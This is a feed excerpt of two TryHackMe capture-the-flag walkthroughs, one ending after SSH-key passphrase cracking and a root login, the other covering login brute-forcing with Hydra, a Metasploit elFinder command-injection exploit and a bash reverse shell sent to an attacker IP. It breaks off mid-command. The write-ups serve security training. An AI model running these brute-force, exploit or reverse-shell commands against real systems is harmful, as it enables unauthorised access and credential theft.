Apr 23  2018 .ssh<br>-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful<br>-rw------- 1 root kay   538 Apr 23  2018 .viminfo<br><br>jan@ip-10-201-49-200:/home/kay$ cat pass.bak <br>cat: pass.bak: Permission denied</pre><blockquote>There is a file called pass.bak.<br> I tried to open it, but it only allows access with the Kay user permissions.</blockquote><pre>-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak</pre><blockquote>Here, I found something interesting:</blockquote><pre>drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh</pre><blockquote>When we take a closer look at the permissions of the SSH directory, the last r-x means that any user on the system (like Jan) can list and read the .ssh folder.</blockquote><p>Normally, .ssh should have permissions set to 600 (only the owner can read/write) or at least 700 to prevent other users from accessing private keys.</p><blockquote>In our case, we are able to access and read the private .ssh key.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYn8qi-ic3UM6lthbTC2iQ.png" /><figcaption>[authorized key]</figcaption></figure><blockquote>When I looked at the authorized_keys file, I couldn’t believe it this is almost like a joke! Let’s grab the private key.<br> Here is our key:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvPSQwcwF_2Fve4HcFmqsQ.png" /><figcaption>[ id_rsa key ]</figcaption></figure><blockquote>If you’re not familiar with public and private keys or how an SSH key pair works, here is a reference:</blockquote><p><a href="https://www.sectigo.com/resource-library/what-is-an-ssh-key">What is an SSH key? SSH key pairs explained</a></p><blockquote>I saved the SSH key to my system, so now we can log in as Kay through SSH without a password:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*qvkP2g0fuRp8xRSfc122OA.png" /><figcaption>[ id_rsa ]</figcaption></figure><blockquote>Here’s the main part listen carefully.</blockquote><p>If we try to use this <strong>private key</strong>, we can log in as Kay. But there’s a problem: there is an additional layer of password protection for the key pair, called a <strong>passphrase</strong>. During the key generation process, this passphrase is assigned by the user.</p><blockquote>In this situation, we need to crack the <strong>passphrase</strong>!</blockquote><p>First, we need to crack the passphrase, and for this, we can use a tool called <strong>John the Ripper</strong>. We could also use <strong>Hashcat</strong>, but for now, we’ll use <strong>John</strong>. It’s pre-built in Kali Linux. Here are some references:</p><p><a href="https://www.kali.org/tools/john/">john | Kali Linux Tools</a></p><blockquote>We need to convert the id_rsa key to a hash format to crack the passphrase. John the Ripper cannot crack the id_rsa key directly it only works with hashes. That’s why we are converting this key to a hash format:</blockquote><pre>ssh2john id_rsa &gt; key</pre><blockquote>this command will convert ssh key to hash formt here the result:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BIDp2Vew7VleHx55x9Vaog.png" /><figcaption>[ hash ]</figcaption></figure><blockquote>Let’s crack !</blockquote><pre>john key --wordlist=/usr/share/wordlists/rockyou.txt</pre><blockquote>This command will convert the SSH key to hash format. Here is the result:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WA5lQiuzK3-dtQXMSK_ruQ.png" /><figcaption>[ passphrase ]</figcaption></figure><blockquote>Now, give the proper permissions to id_rsa:</blockquote><pre>chmod 600 id_rsa</pre><blockquote>And log in to SSH using the private key:</blockquote><pre>ssh -i id_rsa kay@10.201.49.200</pre><blockquote>After entering the passphrase:</blockquote><pre>Enter passphrase for key &#39;id_rsa&#39;: <br>Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/pro<br><br> System information as of Sun 31 Aug 2025 12:43:01 PM EDT<br><br>  System load:  0.0                Processes:             111<br>  Usage of /:   49.8% of 13.62GB   Users logged in:       1<br>  Memory usage: 47%                IPv4 address for eth0: 10.201.49.200<br>  Swap usage:   0%<br><br>Expanded Security Maintenance for Infrastructure is not enabled.<br><br>0 updates can be applied immediately.<br><br>Enable ESM Infra to receive additional future security updates.<br>See https://ubuntu.com/esm or run: sudo pro status<br><br><br>The list of available updates is more than a week old.<br>To check for new updates run: sudo apt update<br>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings<br><br>Your Hardware Enablement Stack (HWE) is supported until April 2025.<br><br>Last login: Sun Jun 22 13:40:04 2025 from 10.23.8.228<br>kay@ip-10-201-49-200:~$ </pre><p>We have successfully logged in as Kay.</p><p><strong>1.9.</strong> What is the name of the other user you found(all lower case)?</p><p>kay</p><p><strong>2.</strong> If you have found another user, what can you do with this information?</p><p>No answer needed</p><p>We found the user Kay. When we navigated to /home/kay/, we discovered misconfigured permissions on the .ssh folder, which allowed us to access the id_rsa private key. This can be considered both a <strong>misconfiguration</strong> and a <strong>privilege escalation vector</strong>.</p><p><strong>2.1.</strong> What is the final password you obtain?</p><blockquote>So, let’s list the contents of Kay’s directory again:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVMr9zWwXES7Hjy9LsPdXg.png" /><figcaption>[ kay’s directory ]</figcaption></figure><blockquote>Now we can access pass.bak, and we have obtained the password!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*KYaq4CfTKj3OjTgx7rL2zg.png" /><figcaption>[ obtained password ]</figcaption></figure><blockquote>Let’s become root by entering the password, and then grab the root flag!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SsreXMJHoV-EtcgmNc346A.png" /><figcaption>[ Root flag ]</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*nRSpUOmBGLOyYBWiDv7rVQ.gif" /></figure><blockquote>“‎‎‎‎‎‎‎ Flagssssss obtained target breached!!!!!!!!!!! ”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew-ScoQaPOHd-60eaHLsPw.png" /><figcaption>[ This image and all the theoretical content of the present article is <a href="https://tryhackme.com/">TryHackMe’s</a> property. ]</figcaption></figure><h3>Thanks for coming! Stay curious, stay ethical!</h3><p>Follow me for more about cybersecurity: <a href="https://medium.com/@0xW41th">Medium</a>, <a href="https://github.com/0xW41th">Github</a>, <a href="https://www.linkedin.com/in/adwaith-sec">LinkedIN</a></p><p>This challenge was created by <a href="https://tryhackme.com/p/ashu">ASHU</a>. Thank you for investing your time and effort to develop it so that I can sharpen my skills!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=235af4cf8d3b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/basic-pentesting-walkthrough-solving-the-tryhackme-lab-235af4cf8d3b">Basic Pentesting Walkthrough: Solving the TryHackMe Lab</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Boot → Shell → Root: Escalating Privileges on TryHackMe Lookup]]></title>
            <link>https://0xw41th.medium.com/boot-shell-root-escalating-privileges-on-tryhackme-lookup-ba928921ed22?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba928921ed22</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Sun, 17 Aug 2025 14:36:05 GMT</pubDate>
            <atom:updated>2025-09-06T11:55:03.831Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qB1gtCH3o4PBAS1S40wWA.jpeg" /></figure><p>Hey! I’m <strong>Adwaith</strong> , an aspiring offensive security enthusiast, and I’m ready to share my experience with the Lookup enumeration CTF on TryHackMe uncovering secrets, exploiting vulnerabilities, and piecing together the path to root. Click the link below, and let’s begin the hunt!</p><p><a href="https://tryhackme.com/room/lookup">Lookup</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xK4CeWaOeF3GlynOYhqTw.png" /><figcaption>[ This image and all the theoretical content of the present article is TryHackMe’s property. ]</figcaption></figure><p>Can’t wait! Let’s breach <strong>Lookup </strong>and uncover every secret it’s hiding!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*t2rq4P-RrbajP7NTqyvTjA.gif" /></figure><h3>Task 1. LOOKUP</h3><p>This room will help you sharpen your <strong>reconnaissance</strong>, <strong>scanning</strong>, and <strong>enumeration </strong>skills, and guide you through <strong>exploiting </strong>real-world vulnerabilities from uncovering hidden services and subdomains to leveraging <strong>command injection </strong>and <strong>escalating privileges</strong>. It’s a hands-on challenge that not only tests your technical abilities but also shows the power of automation in penetration testing.</p><p><strong><em>Answer the questions below</em></strong></p><blockquote>1.1 What is the <strong>user </strong>flag?</blockquote><p>answer needed</p><blockquote>1.2 What is the <strong>root </strong>flag?</blockquote><p>answer needed</p><blockquote>If you don’t know what is <strong>user </strong>flag and <strong>root </strong>flag! I will make it clear for you!!!</blockquote><p><strong>User flag</strong> → A special string (usually stored in a file like <em>/home/username/user.txt</em>) that you can only read after gaining initial access to the machine as a low-privileged user.</p><p><strong>Root flag</strong> → Another string (often in <em>/root/root.txt</em>) that you can only access after escalating your privileges to root (full admin). Capturing this proves you’ve fully compromised the machine.</p><blockquote>Let’s check the host is up!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*dWbJyo0NTcWDJoubrR8dbw.png" /></figure><blockquote>Before starting, we add the target’s IP and domain names to /etc/hosts.<br>This file acts like a local DNS, telling our system to send lookup.thm and files.lookup.thm directly to 10.201.13.253 without querying external DNS servers.</blockquote><pre>sudo nano /etc/hosts</pre><blockquote>Inside the <strong>hosts </strong>file:</blockquote><pre>127.0.0.1       localhost<br><br># The following lines are desirable for IPv6 capable hosts<br>::1     localhost ip6-localhost ip6-loopback<br>ff02::1 ip6-allnodes<br>ff02::2 ip6-allrouters<br><br>10.201.13.253 lookup.thm files.lookup.thm</pre><p><strong>Now we are all set!</strong></p><h3><strong>1.1 Reconnaissance</strong></h3><blockquote>“Know your target before you touch it.”</blockquote><pre>sudo nmap -sC -sV -v 10.201.13.253</pre><p><strong>Command Breakdown:</strong></p><blockquote>-sC → Runs default Nmap scripts for common checks</blockquote><blockquote>sV → Detects service versions running on open ports</blockquote><blockquote>-v → Enables verbose output, showing more scan details</blockquote><p>We Discovered two open ports!</p><pre>Discovered open ports 22/tcp on 10.201.13.253<br>Discovered open ports 80/tcp on 10.201.13.253</pre><p>The scan result :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*7s66tzOlPD_affHFbLaw4w.png" /><figcaption>Nmap Result</figcaption></figure><p>We have gathered some useful intel about our target:</p><blockquote>Open ports, Service versions, Operating system, Web server, HTTP server headers, Supported HTTP methods, HTTP title….</blockquote><blockquote><strong>_http-title:</strong> says that it’s a “<strong>Login Page</strong>”</blockquote><blockquote><strong>Are you confused about the ports and which one to attack first?</strong></blockquote><blockquote>Instead of targeting SSH, which requires brute-forcing a username and password, we focus on the web server to gather information, find sensitive data, and explore ways to gain access.</blockquote><h3>1.2 Enumeration</h3><blockquote>“Dig deeper into identified services.”</blockquote><blockquote>Let’s Visit the domain <a href="http://lookup.thm/">http://lookup.thm</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5eDAtcVLy8-5rDsy8wRAsA.png" /></figure><p>“<em>It’s a login page. Before attempting to log in, let’s</em><strong><em> inspect </em></strong><em>the </em><strong><em>source code.</em></strong>”</p><blockquote>Source code: <a href="http://lookup.thm/"><em>view-source:http://lookup.thm</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*mB_NKrI4Q-KVnyyGyDU7pA.png" /></figure><p>“Nothing interesting was found so far no <strong>redirects</strong>, no <strong>sensitive files</strong>, and no <strong>additional links</strong>.”</p><p>What should we do next? <strong>Bruteforce login </strong>or <strong>enumeration</strong>? Let’s chose <strong>enumeration</strong> to look for hidden or sensitive files.</p><p>To check for hidden directories or sensitive files, we need to brute-force the directory/file paths. Tools like <strong>Dirb, Dirsearch, Gobuster,</strong> and <strong>ffuf</strong> can perform this action. In this case, we are using <strong>Gobuster</strong> for enumeration.</p><h4>Enumerating Hidden Directories</h4><pre>gobuster dir -u http://lookup.thm -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt</pre><p><strong>Command Breakdown:</strong></p><blockquote>dir → The mode of gobuster, indicating directory/file enumeration.</blockquote><blockquote>-u → Specifies the <strong>target URL</strong> to scan.</blockquote><blockquote>-w → Specifies the <strong>wordlist</strong> to use for brute-forcing directories and files.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5QRUjAfgdrlDOlhGz2vg6Q.png" /></figure><h4>Enumerating Hidden Files</h4><pre>gobuster dir -u http://lookup.thm -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VaZnfqZ3dlkoW4GK9Ng8DA.png" /></figure><h4>Enumerating Hidden Subdomains</h4><pre>gobuster vhost -u http://10.201.13.253 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --domain lookup.thm --append-domain --exclude-length 250-320</pre><blockquote>vhost → The mode of gobuster, indicating <strong>virtual host enumeration</strong>.</blockquote><blockquote>-u → Specifies the <strong>target URL or IP</strong>.</blockquote><blockquote>-w → Specifies the <strong>wordlist</strong> to use for brute-forcing subdomains.</blockquote><blockquote>--domain → Base domain to append the subdomains to.</blockquote><blockquote>--append-domain → Ensures each word from the wordlist is appended to the domain (e.g., subdomain.lookup.thm).</blockquote><blockquote>--exclude-length→ Excludes responses with content lengths (useful to skip default 404 pages).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FGa8fK3TPkd5OF4_BwEYMg.png" /></figure><blockquote><strong>After all this enumeration, I was not able to find any hidden directories, sensitive files, or subdomains.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*wybaVI9hApQMXWOnd2d0qw.gif" /></figure><blockquote><strong><em>YOU GOT THIS YOU GOT THISSSS!</em></strong></blockquote><blockquote>I came up with a different approach called <em>“</em><strong><em>SQL Injection.”</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*nEGIwhZPWPr-w6NsrAhG6A.png" /></figure><p>An SQL Injection is a web vulnerability that allows attackers to manipulate database queries via input fields or URL parameters, potentially exposing data, modifying or deleting records, and bypassing authentication.If you’d like to learn more about SQL Injection, I can provide references.</p><ul><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">SQL Injection | OWASP Foundation</a></li><li><a href="https://portswigger.net/web-security/sql-injection">What is SQL Injection? Tutorial &amp; Examples | Web Security Academy</a></li></ul><blockquote>So Now i was intercepting the auth request and sent to intruder for bruteforce (trial or error)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*UEusMhqkukVEZy-IGUMkAg.gif" /></figure><pre>[REQUEST]<br><br>POST /login.php HTTP/1.1<br>Host: lookup.thm<br>User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:128.0) Gecko/20100101 Firefox/128.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 27<br>Origin: http://lookup.thm<br>Connection: keep-alive<br>Referer: http://lookup.thm/<br>Upgrade-Insecure-Requests: 1<br>Priority: u=0, i<br><br>username=test&amp;password=test<br><br><br>[RESPONSE]<br><br>Wrong username or password. Please try again.&lt;br&gt;Redirecting in 3 seconds.</pre><blockquote>You can see that, there are request headers and a request body, so we will focus on the body and use it for brute-forcing.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*Cmh_ViQyBFU8wfSJmPLBZw.png" /></figure><blockquote>I loaded common <strong>SQL payloads </strong>to attempt a login bypass.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*h9MLEeVE4qrYwiknmiAkAw.gif" /></figure><blockquote>Now, we start the Attack!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*fkoRPr7GFsKP-GeqLHGdzA.png" /></figure><blockquote>“<em>After waiting for a long time, I didn’t get anything</em>!!!!!!”</blockquote><blockquote>“Wrong username or password. Please try again! Redirecting in 3 seconds”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*N0KRmma0fpZBHyl2eNVpwQ.gif" /></figure><blockquote>I see lot of times Response says <strong>Wrong</strong>!!</blockquote><p>I stopped the <strong>SQL Injection</strong> and opened Burp Suite to intercept the request, then sent it to Repeater. I manually attempted different passwords instead of using brute force or Intruder. Do you know why? Because it’s important to <strong>understand how the server responds</strong> to our requests first. Rushing into a brute-force attack is often pointless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5eDAtcVLy8-5rDsy8wRAsA.png" /></figure><blockquote>There are some default credentials or common passwords, such as:</blockquote><blockquote><strong>root</strong>:<strong>root</strong>, <strong>admin</strong>:<strong>admin</strong>, <strong>user</strong>:<strong>pass</strong>, <strong>user</strong>:<strong>pass123</strong>…</blockquote><blockquote>Let’s test it !</blockquote><blockquote><strong>ATTEMPT 1</strong></blockquote><pre>[REQUEST]<br><br>POST /login.php HTTP/1.1<br>Host: lookup.thm<br>User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:128.0) Gecko/20100101 Firefox/128.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 27<br>Origin: http://lookup.thm<br>Connection: keep-alive<br>Referer: http://lookup.thm/<br>Upgrade-Insecure-Requests: 1<br>Priority: u=0, i<br><br>username=root&amp;password=root<br><br>[RESPONSE]<br><br>HTTP/1.1 200 OK<br>Date: Tue, 12 Aug 2025 17:14:01 GMT<br>Server: Apache/2.4.41 (Ubuntu)<br>Refresh: 3; url=http://lookup.thm<br>Vary: Accept-Encoding<br>Content-Length: 74<br>Keep-Alive: timeout=5, max=100<br>Connection: Keep-Alive<br>Content-Type: text/html; charset=UTF-8<br><br>Wrong username or password. Please try again.&lt;br&gt;Redirecting in 3 seconds.</pre><blockquote><strong>ATTEMPT 2</strong></blockquote><pre>[REQUEST]<br><br>POST /login.php HTTP/1.1<br>Host: lookup.thm<br>User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:128.0) Gecko/20100101 Firefox/128.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 29<br>Origin: http://lookup.thm<br>Connection: keep-alive<br>Referer: http://lookup.thm/<br>Upgrade-Insecure-Requests: 1<br><br>username=admin&amp;password=admin<br><br>[RESPONSE]<br><br>HTTP/1.1 200 OK<br>Date: Tue, 12 Aug 2025 17:16:02 GMT<br>Server: Apache/2.4.41 (Ubuntu)<br>Refresh: 3; url=http://lookup.thm<br>Content-Length: 62<br>Keep-Alive: timeout=5, max=100<br>Connection: Keep-Alive<br>Content-Type: text/html; charset=UTF-8<br><br>Wrong password. Please try again.&lt;br&gt;Redirecting in 3 seconds.</pre><p>When you look carefully both response:</p><blockquote>First Request:</blockquote><pre>[REQUEST]<br><br>username=root&amp;password=root<br><br>[RESPONSE]<br><br>Wrong username or password. Please try again.&lt;br&gt;Redirecting in 3 seconds.</pre><blockquote>Second Request:</blockquote><pre>[REQUEST]<br><br>username=admin&amp;password=admin<br><br>[RESPONSE]<br><br>Wrong password. Please try again.&lt;br&gt;Redirecting in 3 seconds.</pre><p>In the second request, it says “<strong>Wrong password.</strong>” but does not mention the username. This means “<strong>admin</strong>” is a valid user, so we only need the password to gain access to the login page.</p><blockquote>So we have the user “<strong>admin</strong>”. Let’s brute-force the password:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*p6OR4Y8IrDJd_U9N1tqcBg.gif" /></figure><p>There are different methods to perform a brute-force attack. For example, we could use <strong>Burp Intruder</strong>, but in this case I wouldn’t recommend it because we’d need to filter requests by status codes, response lengths, and variations and it’s also quite slow. Instead, we’ll use <strong>Hydra</strong>. (If you’d like to learn more about Hydra, I can provide references, but for now let’s move on.)</p><p><a href="https://tryhackme.com/resources/blog/hydra">Hydra - How to Use an Online Password Cracking Program</a></p><blockquote><strong>BRUTEFORCE</strong></blockquote><pre>sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form &quot;/login.php:username=^USER^&amp;password=^PASS^:wrong password.&quot; -IV -t 50</pre><p><strong>Command Breakdown:</strong></p><blockquote>-l admin → Specifies the username to test (admin).</blockquote><blockquote>-P /usr/share/wordlists/rockyou.txt → Path to the <strong>password list</strong>.</blockquote><blockquote>lookup.thm → Target host.</blockquote><blockquote>http-post-form → Indicates the login form uses <strong>HTTP POST</strong>.</blockquote><blockquote>&quot;/login.php:username=^USER^&amp;password=^PASS^:wrong password.&quot; → Specifies the login request format: ^USER^ and ^PASS^ are placeholders; wrong password. is the failure message.</blockquote><blockquote>-IV → Enables verbose mode for detailed output.</blockquote><blockquote>-t 50 → Sets <strong>50 parallel threads</strong> to speed up the attack.</blockquote><blockquote><strong>ATTACK SUCCESSFUL</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0YRvQT35qNgR67A0VnkI2w.png" /></figure><blockquote>[<strong>80</strong>][<strong>http-post-form</strong>] host: <strong>lookup.thm</strong> login: <strong>admin</strong> password: <strong>password123</strong></blockquote><blockquote>Let’s get in :</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*F54IH7t4KCEsRnOIs9Aw_A.gif" /></figure><p>“I was disappointed. Hydra says it’s a valid <strong>username </strong>and <strong>password</strong>, but the response shows ‘Wrong!’ What’s wrong with this?”</p><p>The first request shows that <strong>admin </strong>is a <strong>valid </strong>user, but the password is wrong.</p><pre>[REQUEST]<br><br>username=admin&amp;password=admin<br><br>[RESPONSE]<br><br>Wrong password. Please try again.&lt;br&gt;Redirecting in 3 seconds.</pre><p>The second request shows that both the <strong>username </strong>and <strong>password </strong>are <strong>wrong</strong>.</p><pre>[REQUEST]<br><br>username=admin&amp;password=password123<br><br>[RESPONSE]<br><br>Wrong username or password. Please try again.&lt;br&gt;Redirecting in 3 seconds.</pre><p>From this, the path is clear since the first response confirmed the user <strong>admin</strong> is valid but the password is incorrect, while the second response shows both are invalid, it means the <strong>password is actually valid</strong>, but the username is wrong.</p><p>Therefore, the only way to confirm is to <strong>brute-force the username</strong>. Once both the correct username and password match, we’ll be able to get inside</p><blockquote><strong>BRUTEFORCE</strong></blockquote><p><em>“This time there are small veriation to our hydra commnds”</em></p><pre>sudo hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p password123 lookup.thm http-post-form &quot;/login.php:username=^USER^&amp;password=^PASS^:Wrong username or password.&quot; -I -t 50</pre><p><strong>Command Breakdown:</strong></p><blockquote><em>-L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt</em> → File containing a <strong>list of usernames</strong> to try.</blockquote><blockquote><em>username=^USER^&amp;password=^PASS^:Wrong username or password.</em>→ Format of the login request</blockquote><blockquote><strong>ATTACK SUCCESSFUL</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1faTRpykyrZprBrX-RjerQ.png" /></figure><blockquote>[<strong>80</strong>][<strong>http-post-form</strong>] host: <strong>lookup.thm</strong> login: <strong>jose</strong> password: <strong>password123</strong></blockquote><blockquote>Let’s get in :</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*Lf-R8tuS0GL1kWyknsHDUg.gif" /></figure><p>We have successfully logged into the page!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*k0WrUu38-Pvsn4lkSJTWeA.gif" /></figure><blockquote>It’s not over yet, we are still in the initial stage!</blockquote><h3>1.3 Vulnerability Analysis</h3><blockquote>“Compare findings against known vulnerabilities.”</blockquote><p>Manual research then Decide which <strong>vulnerabilities </strong>are <strong>valid </strong>and <strong>exploitable</strong>.<br>We were redirected from lookup.thm to files.lookup.thm. I explored the file manager but couldn’t find anything interesting. when we checked the <strong>info</strong> icon that’s where the game really started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*JK24VLz4Wt-6g_0mNoNw0w.png" /></figure><p>Note that the web file manager is called <em>elFinder</em> and its version is <em>2.1.47</em></p><blockquote>search the available exploits for it and find the best one.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*1dIcPeQKoZcltrkkaLIi-g.png" /></figure><p>Prioritize research on Rapid7 and Exploit-DB when Googling, these sources typically provide validated findings and exploits:</p><ul><li><a href="https://www.rapid7.com/">Rapid7</a></li><li><a href="https://www.exploit-db.com/">OffSec&#39;s Exploit Database Archive</a></li></ul><h3>1.4 Exploitation</h3><blockquote>“Use identified vulnerabilities to gain initial access.”</blockquote><p>open metasploit and type<strong><em> </em></strong>msfconsole:</p><pre>msf6 &gt; use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection<br>msf6 exploit(elfinder_php_connector_exiftran_cmd_injection) &gt; set RHOSTS files.lookup.thm<br>msf6 exploit(elfinder_php_connector_exiftran_cmd_injection) &gt; set LHOST &lt; your-ip &gt;<br>msf6 exploit(elfinder_php_connector_exiftran_cmd_injection) &gt; show options<br>        ...show and set options...<br>msf6 exploit(elfinder_php_connector_exiftran_cmd_injection) &gt; exploit</pre><blockquote><strong>Got Shell :</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fC-TfnammkA9vP9p8DKwsg.png" /></figure><p>Exploit succeeded! Now we have a meterpreter &gt; Shell. We’ve gained initial access to the target. Let’s find the user flag.</p><blockquote>Let’s move to users “/home”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*mvLFrkx4-zbhUMiC6p6uNg.png" /></figure><blockquote>Here we can see the user named <em>think</em>. Let’s go inside and look around.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r7mt1wNYvPJc6rCiGBQe3A.png" /></figure><p>There is a file called user.txt, which is the user flag! But there’s a problem we can’t read the <strong>user.txt</strong> file.</p><pre>meterpreter &gt; cat user.txt<br>[-] core_channel_open: Operation failed: 1<br>meterpreter &gt; </pre><blockquote>Because we are not the actual owner of that file</blockquote><pre>meterpreter &gt; getuid<br>Server username: www-data</pre><p>We have accessed the system as www-data!</p><h3>1.4 Post-Exploitation</h3><blockquote>Maintain access, escalate privileges, pivot, collect data, and cover tracks</blockquote><p>If we want to switch from www-data to think, we need to know the password or become root. This is where the real game starts.</p><p>In this phase, we will:</p><blockquote>Maintain access</blockquote><blockquote>escalate privileges</blockquote><blockquote><strong>LETS UPGRADE THE SHELL</strong></blockquote><p>Open another terminal and run the listener:</p><pre>nc -lvnp 1234        <br>listening on [any] 1234 ...</pre><blockquote>In Meterpreter command line and run the following:</blockquote><pre>meterpreter &gt; shell<br>Process 1155 created.<br>Channel 5 created.<br>bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.17.5.112/1234 0&gt;&amp;1&#39;</pre><blockquote>Now we have a shell through Netcat:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*S_grZFQuz-ynDipz5luihQ.png" /></figure><blockquote>First, you’ll get the shell with the server’s file path. Let’s move to /home</blockquote><pre>&lt;var/www/files.lookup.thm/public_html/elFinder/php$ cd /home</pre><blockquote>These commands are important for establishing a persistent connection, so pay close attention:</blockquote><pre>www-data@ip-10-201-83-104:/home$ python3 --version<br>python3 --version<br>Python 3.8.10<br>www-data@ip-10-201-83-104:/home$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p><strong>Command Breakdown:</strong></p><blockquote>When you get a reverse shell (via netcat, PHP shell, etc.), it’s often <strong>dumb/non-interactive</strong> so you can’t use shortcuts like Ctrl+C, clear, arrow keys, or tab-completion.<br> Spawning a pty with /bin/bash makes it behave more like a <strong>real terminal </strong>.</blockquote><blockquote>I hope you this make clear</blockquote><p>after that press Ctrl + Z (Background the shell) :</p><pre>www-data@ip-10-201-83-104:/home$ ^Z/bin/bash&quot;)&#39; <br>zsh: suspended  nc -lvnp 1234</pre><blockquote>To upgrade the shell and regain the connection, type the following command:</blockquote><pre>stty raw -echo; fg<br><br>[1]  + continued  nc -lvnp 1234</pre><blockquote>We are now accessing the files of the user think</blockquote><pre>www-data@ip-10-201-83-104:/home$ ls<br>ssm-user  think  ubuntu<br>www-data@ip-10-201-83-104:/home$ cd think<br>www-data@ip-10-201-83-104:/home/think$ ls<br>user.txt<br>www-data@ip-10-201-83-104:/home/think$ cat user.txt<br>cat: user.txt: Permission denied</pre><p>It shows that user.txt cannot be read.</p><blockquote>Let’s take a closer look using the following command:</blockquote><pre>www-data@ip-10-201-83-104:/home/think$ ls -la<br>total 40<br>drwxr-xr-x 5 think think 4096 Jan 11  2024 .<br>drwxr-xr-x 5 root  root  4096 Aug 14 16:28 ..<br>lrwxrwxrwx 1 root  root     9 Jun 21  2023 .bash_history -&gt; 